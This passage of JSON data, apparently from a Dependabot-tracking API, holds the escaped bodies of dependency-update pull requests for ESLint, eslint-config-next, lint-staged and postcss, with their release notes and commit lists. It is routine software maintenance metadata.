Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/3e7bf15e69e6d3a2c8832356bcc2e9903cc4eede\"\u003e\u003ccode\u003e3e7bf15\u003c/code\u003e\u003c/a\u003e fix: apply \u003ccode\u003eignoreClassesWithImplements\u003c/code\u003e to class expressions (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21069\"\u003e#21069\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/0d7d70cf013ec5bf1e4f5a0fcf7128bdf059b2d4\"\u003e\u003ccode\u003e0d7d70c\u003c/code\u003e\u003c/a\u003e fix: insert cause outside wrapping parens in preserve-caught-error (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21062\"\u003e#21062\u003c/a\u003e) (Mahin Anowar)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/75ec753226010867270787b412f3dae412e421e6\"\u003e\u003ccode\u003e75ec753\u003c/code\u003e\u003c/a\u003e fix: handle static template literals in \u003ccode\u003eeqeqeq\u003c/code\u003e rule (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21058\"\u003e#21058\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b717a22e2408389a2ad40af66543e46390669eb6\"\u003e\u003ccode\u003eb717a22\u003c/code\u003e\u003c/a\u003e fix: prevent \u003ccode\u003eeqeqeq\u003c/code\u003e null option from reporting non-equality operators (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21057\"\u003e#21057\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/e35b05f1961dcd691611bd68b6ff8a87072d6f76\"\u003e\u003ccode\u003ee35b05f\u003c/code\u003e\u003c/a\u003e fix: avoid \u003ccode\u003eno-invalid-regexp\u003c/code\u003e false positive for shadowed RegExp (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21051\"\u003e#21051\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a3172b69c7db63ea0321355543e3f527c7d8b76a\"\u003e\u003ccode\u003ea3172b6\u003c/code\u003e\u003c/a\u003e fix: avoid \u003ccode\u003eno-control-regex\u003c/code\u003e false positive for shadowed RegExp (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21050\"\u003e#21050\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/d1f637eca27e523d613991c6bea5b8726b810e4c\"\u003e\u003ccode\u003ed1f637e\u003c/code\u003e\u003c/a\u003e fix: parenthesize sequence expression operands in no-implicit-coercion (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21045\"\u003e#21045\u003c/a\u003e) (spokodev)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/8859bafb018e2b23b5110d52e491b69b94ad890a\"\u003e\u003ccode\u003e8859baf\u003c/code\u003e\u003c/a\u003e fix: avoid prefer-numeric-literals false positive for shadowed globals (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21047\"\u003e#21047\u003c/a\u003e) (한국)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a9e5961050676ef29dba9649dfcd7233d21760c7\"\u003e\u003ccode\u003ea9e5961\u003c/code\u003e\u003c/a\u003e fix: use-isnan false positive on shadowed NaN/Number (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20958\"\u003e#20958\u003c/a\u003e) (sethamus)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/8a240a76108f30f2476e61a925e4d32d378cce5e\"\u003e\u003ccode\u003e8a240a7\u003c/code\u003e\u003c/a\u003e fix: avoid false positives in \u003ccode\u003eradix\u003c/code\u003e rule for spread arguments (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21044\"\u003e#21044\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDocumentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/c30d80801ca561bdf65c6c3eba4ee57dced278cf\"\u003e\u003ccode\u003ec30d808\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/5139800b23e77fdd1a76664e1b36f478942eae55\"\u003e\u003ccode\u003e5139800\u003c/code\u003e\u003c/a\u003e docs: document ESLint migration codemods in v9 and v10 guides (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20980\"\u003e#20980\u003c/a\u003e) (Alex Bit)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/04174cbfaac1f9555400b5332d69056e6aab9cc6\"\u003e\u003ccode\u003e04174cb\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/026e1304080512bcddfd2af3557fff86474ff949\"\u003e\u003ccode\u003e026e130\u003c/code\u003e\u003c/a\u003e docs: update semver policy for bug fixes (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21048\"\u003e#21048\u003c/a\u003e) (Milos Djermanovic)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/9d42fefb0e05ecd0b256c2ebed479fc868862f0c\"\u003e\u003ccode\u003e9d42fef\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b23015955c8d6e6516076190730f538c86927f26\"\u003e\u003ccode\u003eb230159\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/0129972ba122e95bece6040fda44d20f6799246a\"\u003e\u003ccode\u003e0129972\u003c/code\u003e\u003c/a\u003e docs: correct \u003ccode\u003e**/.js\u003c/code\u003e glob to \u003ccode\u003e**/*.js\u003c/code\u003e in config files guide (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21036\"\u003e#21036\u003c/a\u003e) (EduardF1)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChores\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/948937986f2aa3cccb27a4c80694a85e5b0a5f64\"\u003e\u003ccode\u003e9489379\u003c/code\u003e\u003c/a\u003e chore: update dependency \u003ccode\u003e@​eslint/eslintrc\u003c/code\u003e to ^3.3.6 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21076\"\u003e#21076\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/81a4774a928211bd0c01a06a1517736ece594522\"\u003e\u003ccode\u003e81a4774\u003c/code\u003e\u003c/a\u003e chore: updates for v9.39.5 release (Jenkins)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/983541491393323d17717683f6a2e6dbef4bc3f4\"\u003e\u003ccode\u003e9835414\u003c/code\u003e\u003c/a\u003e chore: enable \u003ccode\u003e$ExpectType\u003c/code\u003e annotations in all TypeScript files (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21071\"\u003e#21071\u003c/a\u003e) (Francesco Trotta)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/72adf6bd214c142b38aabb4b8f6f908079c5301a\"\u003e\u003ccode\u003e72adf6b\u003c/code\u003e\u003c/a\u003e chore: restrict \u003ccode\u003emarkdownlint-cli2\u003c/code\u003e updates in renovate (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21067\"\u003e#21067\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/833ec10fd702644e94334edd3cd2aa313174a958\"\u003e\u003ccode\u003e833ec10\u003c/code\u003e\u003c/a\u003e chore: update dependency prettier to v3.9.4 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21061\"\u003e#21061\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/7ea106ddcb6af7db8f36d62a28dbaba94d33598e\"\u003e\u003ccode\u003e7ea106d\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21059\"\u003e#21059\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/8fb550e7c257fbdc4108fc8e63db43c1d914d472\"\u003e\u003ccode\u003e8fb550e\u003c/code\u003e\u003c/a\u003e chore: add prettier update commit to \u003ccode\u003e.git-blame-ignore-revs\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21056\"\u003e#21056\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/e4e11668ead6b950328c71e894563a13ef72bf84\"\u003e\u003ccode\u003ee4e1166\u003c/code\u003e\u003c/a\u003e chore: update dependency prettier to v3.9.1 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21055\"\u003e#21055\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/0493f53f3fcec4ed69a1808dffa153dcff1380d3\"\u003e\u003ccode\u003e0493f53\u003c/code\u003e\u003c/a\u003e chore: update prettier to v3.9.0 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21054\"\u003e#21054\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/1056a996c657b377dc16a58c28890d2940394408\"\u003e\u003ccode\u003e1056a99\u003c/code\u003e\u003c/a\u003e chore: update dependency prettier to v3.8.5 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21049\"\u003e#21049\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4d4155df4a21d711e8dd21a467de085e770bad35\"\u003e\u003ccode\u003e4d4155d\u003c/code\u003e\u003c/a\u003e ci: run ecosystem tests on pull requests (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21027\"\u003e#21027\u003c/a\u003e) (sethamus)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/993539fd45d3d01aad3fbc13963e2245fdf7ee0d\"\u003e\u003ccode\u003e993539f\u003c/code\u003e\u003c/a\u003e chore: update dependency \u003ccode\u003e@​eslint/json\u003c/code\u003e to ^2.0.1 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21042\"\u003e#21042\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/53f8b69c15af7398c989071ee4788b88edd48bdd\"\u003e\u003ccode\u003e53f8b69\u003c/code\u003e\u003c/a\u003e test: add error locations to \u003ccode\u003eno-constant-binary-expression\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21039\"\u003e#21039\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/5ab71d52f9d860df04e626fcd819a36257f21f9e\"\u003e\u003ccode\u003e5ab71d5\u003c/code\u003e\u003c/a\u003e refactor: clean up radix rule internals (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21015\"\u003e#21015\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a80a9a461478838930c5545f840473840b26b0e6\"\u003e\u003ccode\u003ea80a9a4\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21035\"\u003e#21035\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/7c9a02933cf1c231237babb8a7a32150ab72e263\"\u003e\u003ccode\u003e7c9a029\u003c/code\u003e\u003c/a\u003e ci: add Node.js 26 to CI (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20847\"\u003e#20847\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.6.0\u003c/h2\u003e\n\u003ch2\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b1f910628e29a018c860e2352bc14cd07c853d67\"\u003e\u003ccode\u003eb1f9106\u003c/code\u003e\u003c/a\u003e feat: detect Symbol() and BigInt() in no-constant-binary-expression (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20981\"\u003e#20981\u003c/a\u003e) (Taejin Kim)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/fabd99bb74eedcb950df51ec3280414ff1d68d38\"\u003e\u003ccode\u003efabd99b\u003c/code\u003e\u003c/a\u003e 10.7.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/37c5e75949ff2ae1f0085f547e35ce2bdf9d524d\"\u003e\u003ccode\u003e37c5e75\u003c/code\u003e\u003c/a\u003e Build: changelog update for 10.7.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/948937986f2aa3cccb27a4c80694a85e5b0a5f64\"\u003e\u003ccode\u003e9489379\u003c/code\u003e\u003c/a\u003e chore: update dependency \u003ccode\u003e@​eslint/eslintrc\u003c/code\u003e to ^3.3.6 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21076\"\u003e#21076\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/81a4774a928211bd0c01a06a1517736ece594522\"\u003e\u003ccode\u003e81a4774\u003c/code\u003e\u003c/a\u003e chore: updates for v9.39.5 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/3e7bf15e69e6d3a2c8832356bcc2e9903cc4eede\"\u003e\u003ccode\u003e3e7bf15\u003c/code\u003e\u003c/a\u003e fix: apply \u003ccode\u003eignoreClassesWithImplements\u003c/code\u003e to class expressions (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21069\"\u003e#21069\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/983541491393323d17717683f6a2e6dbef4bc3f4\"\u003e\u003ccode\u003e9835414\u003c/code\u003e\u003c/a\u003e chore: enable \u003ccode\u003e$ExpectType\u003c/code\u003e annotations in all TypeScript files (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21071\"\u003e#21071\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/cf2a9bf2d982642f760370c15f1196f4658f4e27\"\u003e\u003ccode\u003ecf2a9bf\u003c/code\u003e\u003c/a\u003e feat: add errorClassNames option to preserve-caught-error rule (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21032\"\u003e#21032\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/c30d80801ca561bdf65c6c3eba4ee57dced278cf\"\u003e\u003ccode\u003ec30d808\u003c/code\u003e\u003c/a\u003e docs: Update README\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/f8b873aae53610b80b5c1005606716e05ed3b91f\"\u003e\u003ccode\u003ef8b873a\u003c/code\u003e\u003c/a\u003e feat: max-nested-callbacks option for constructor callbacks (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21063\"\u003e#21063\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/72adf6bd214c142b38aabb4b8f6f908079c5301a\"\u003e\u003ccode\u003e72adf6b\u003c/code\u003e\u003c/a\u003e chore: restrict \u003ccode\u003emarkdownlint-cli2\u003c/code\u003e updates in renovate (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21067\"\u003e#21067\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/eslint/eslint/compare/v9.39.3...v10.7.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint-config-next` from 16.2.9 to 16.2.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/next.js/releases\"\u003eeslint-config-next's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev16.2.10\u003c/h2\u003e\n\u003cp\u003eContains no changes except publishing \u003ccode\u003e@next/swc-wasm-web\u003c/code\u003e which was accidentally not published since 16.2.4.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/9dadfd693c5d26bb3c85d1c17802f49dde244b3e\"\u003e\u003ccode\u003e9dadfd6\u003c/code\u003e\u003c/a\u003e v16.2.10\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/534d9c144ca342ff9ee5569241a814539d6eadb9\"\u003e\u003ccode\u003e534d9c1\u003c/code\u003e\u003c/a\u003e [16.2.x] Release pipeline updates (\u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/95160\"\u003e#95160\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/6e1a94de7c4e68892de4b1e28262be5970358458\"\u003e\u003ccode\u003e6e1a94d\u003c/code\u003e\u003c/a\u003e [16.2.x][ci]: fix release script to not strip newlines (\u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/94640\"\u003e#94640\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vercel/next.js/commits/v16.2.10/packages/eslint-config-next\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `lint-staged` from 17.0.7 to 17.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/lint-staged/lint-staged/releases\"\u003elint-staged's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev17.1.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1816\"\u003e#1816\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/7568d4fb15ba3c3317a7aec36195461cb2f272d7\"\u003e\u003ccode\u003e7568d4f\u003c/code\u003e\u003c/a\u003e - The console output of \u003cem\u003elint-staged\u003c/em\u003e has been simplified so that there's less interactive spinners and more explicit messages like \u003cem\u003e\u0026quot;Started…\u003c/em\u003e\u0026quot; -\u0026gt; \u0026quot;\u003cem\u003eDone!\u003c/em\u003e\u0026quot;. The primary purpose of this was to remove \u003ca href=\"https://github.com/listr2/listr2\"\u003e\u003ccode\u003eListr2\u003c/code\u003e\u003c/a\u003e, a very large dependency.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eBefore:\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eSize of \u003ccode\u003enode_modules/\u003c/code\u003e after installing: \u003ccode\u003e1561.7 kB\u003c/code\u003e with 29 packages.\u003c/p\u003e\n\u003cp\u003eFancy interactive spinners, but output dynamically changes:\u003c/p\u003e\n\u003cpre lang=\"shell\"\u003e\u003ccode\u003e✔ Backed up original state in git stash (0b191303)\n✔ Running tasks for staged files...\n✔ Staging changes from tasks...\n✔ Cleaning up temporary files...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cstrong\u003eAfter:\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eSize of \u003ccode\u003enode_modules/\u003c/code\u003e after installing: \u003ccode\u003e974.0 kB\u003c/code\u003e with 5 packages (37.6 % smaller, 82.7 % less transitive dependencies).\u003c/p\u003e\n\u003cp\u003eSimpler but more explicit output:\u003c/p\u003e\n\u003cpre lang=\"shell\"\u003e\u003ccode\u003e⋯ Backing up original state…\n✔ Done backing up original state (35b38ed1)!\n⋯ Running tasks for staged files…\n    *.js — 1 file\n      ⋯ oxlint --fix\n    *.{json,md} — 1 file\n      ⋯ oxfmt --write\n\u003cp\u003e✔ oxfmt --write\u003cbr /\u003e\n✔ oxlint --fix\u003c/p\u003e\n\u003cp\u003e✔ Done running tasks for staged files!\u003cbr /\u003e\n⋯ Staging changes from tasks…\u003cbr /\u003e\n✔ Done staging changes from tasks!\u003cbr /\u003e\n⋯ Cleaning up temporary files…\u003cbr /\u003e\n✔ Done cleaning up temporary files!\u003cbr /\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1816\"\u003e#1816\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/c19079d808d557b538c34fe69381d2ef970c7acc\"\u003e\u003ccode\u003ec19079d\u003c/code\u003e\u003c/a\u003e - Try to restore hidden unstaged changes when using \u003ccode\u003e--no-revert\u003c/code\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1818\"\u003e#1818\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/efb23a25075d980db9edabd2f71e769fc97d48c8\"\u003e\u003ccode\u003eefb23a2\u003c/code\u003e\u003c/a\u003e - Console output colors are enabled/disabled more consistently.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1818\"\u003e#1818\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/26112a19151f9678861d51ea7416e9f9bef24bbb\"\u003e\u003ccode\u003e26112a1\u003c/code\u003e\u003c/a\u003e - Failed JS function tasks now properly kill other tasks, unless \u003ccode\u003e--continue-on-error\u003c/code\u003e is used. Previously their failure didn't affect other tasks.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/lint-staged/lint-staged/blob/main/CHANGELOG.md\"\u003elint-staged's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e17.1.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1816\"\u003e#1816\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/7568d4fb15ba3c3317a7aec36195461cb2f272d7\"\u003e\u003ccode\u003e7568d4f\u003c/code\u003e\u003c/a\u003e - The console output of \u003cem\u003elint-staged\u003c/em\u003e has been simplified so that there's less interactive spinners and more explicit messages like \u003cem\u003e\u0026quot;Started…\u003c/em\u003e\u0026quot; -\u0026gt; \u0026quot;\u003cem\u003eDone!\u003c/em\u003e\u0026quot;. The primary purpose of this was to remove \u003ca href=\"https://github.com/listr2/listr2\"\u003e\u003ccode\u003eListr2\u003c/code\u003e\u003c/a\u003e, a very large dependency.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eBefore:\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eSize of \u003ccode\u003enode_modules/\u003c/code\u003e after installing: \u003ccode\u003e1561.7 kB\u003c/code\u003e with 29 packages.\u003c/p\u003e\n\u003cp\u003eFancy interactive spinners, but...\n\n_Description has been truncated_","html_url":"https://github.com/kkulykk/library-games/pull/172","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/kkulykk%2Flibrary-games/issues/172","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/172/packages"}},{"old_version":"7.0.39","new_version":"8.5.14","update_type":"major","path":"/services/social","pr_created_at":"2026-07-18T23:02:20.000Z","version_change":"7.0.39 → 8.5.14","issue":{"uuid":"4920398730","node_id":"PR_kwDORXcT2c7zbPId","number":474,"state":"closed","title":"chore(deps): bump postcss and vue-loader in /services/social","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":3,"pull_request":true,"closed_at":"2026-07-18T23:11:19.000Z","author_association":null,"state_reason":null,"created_at":"2026-07-18T23:02:20.000Z","updated_at":"2026-07-18T23:11:21.000Z","time_to_close":539,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"postcss","repository_url":"https://github.com/postcss/postcss","old_version":"7.0.39","new_version":"8.5.14"},{"name":"vue-loader","repository_url":"https://github.com/vuejs/vue-loader","old_version":"15.11.1","new_version":"17.4.2"}],"path":"/services/social","ecosystem":"npm"},"body":"Bumps [postcss](https://github.com/postcss/postcss) to 8.5.14 and updates ancestor dependency [vue-loader](https://github.com/vuejs/vue-loader). These dependencies need to be updated together.\n\nUpdates `postcss` from 7.0.39 to 8.5.14\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.14\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed custom syntax regression (by \u003ca href=\"https://github.com/43081j\"\u003e\u003ccode\u003e@​43081j\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.13\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003epostcss-scss\u003c/code\u003e commend regression.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.12\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed reading any file via user-generated CSS.\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eopts.unsafeMap\u003c/code\u003e to disable checks.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.11\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed nested brackets parsing performance (by \u003ca href=\"https://github.com/offset\"\u003e\u003ccode\u003e@​offset\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.10\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed XSS via unescaped \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/code\u003e in non-bundler cases (by \u003ca href=\"https://github.com/TharVid\"\u003e\u003ccode\u003e@​TharVid\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.9\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSpeed up source map encoding paring in case of the error.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.8\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eProcessor#version\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.7\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved source map annotation cleaning performance (by CodeAnt AI).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.6\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eContainerWithChildren\u003c/code\u003e type discriminating (by \u003ca 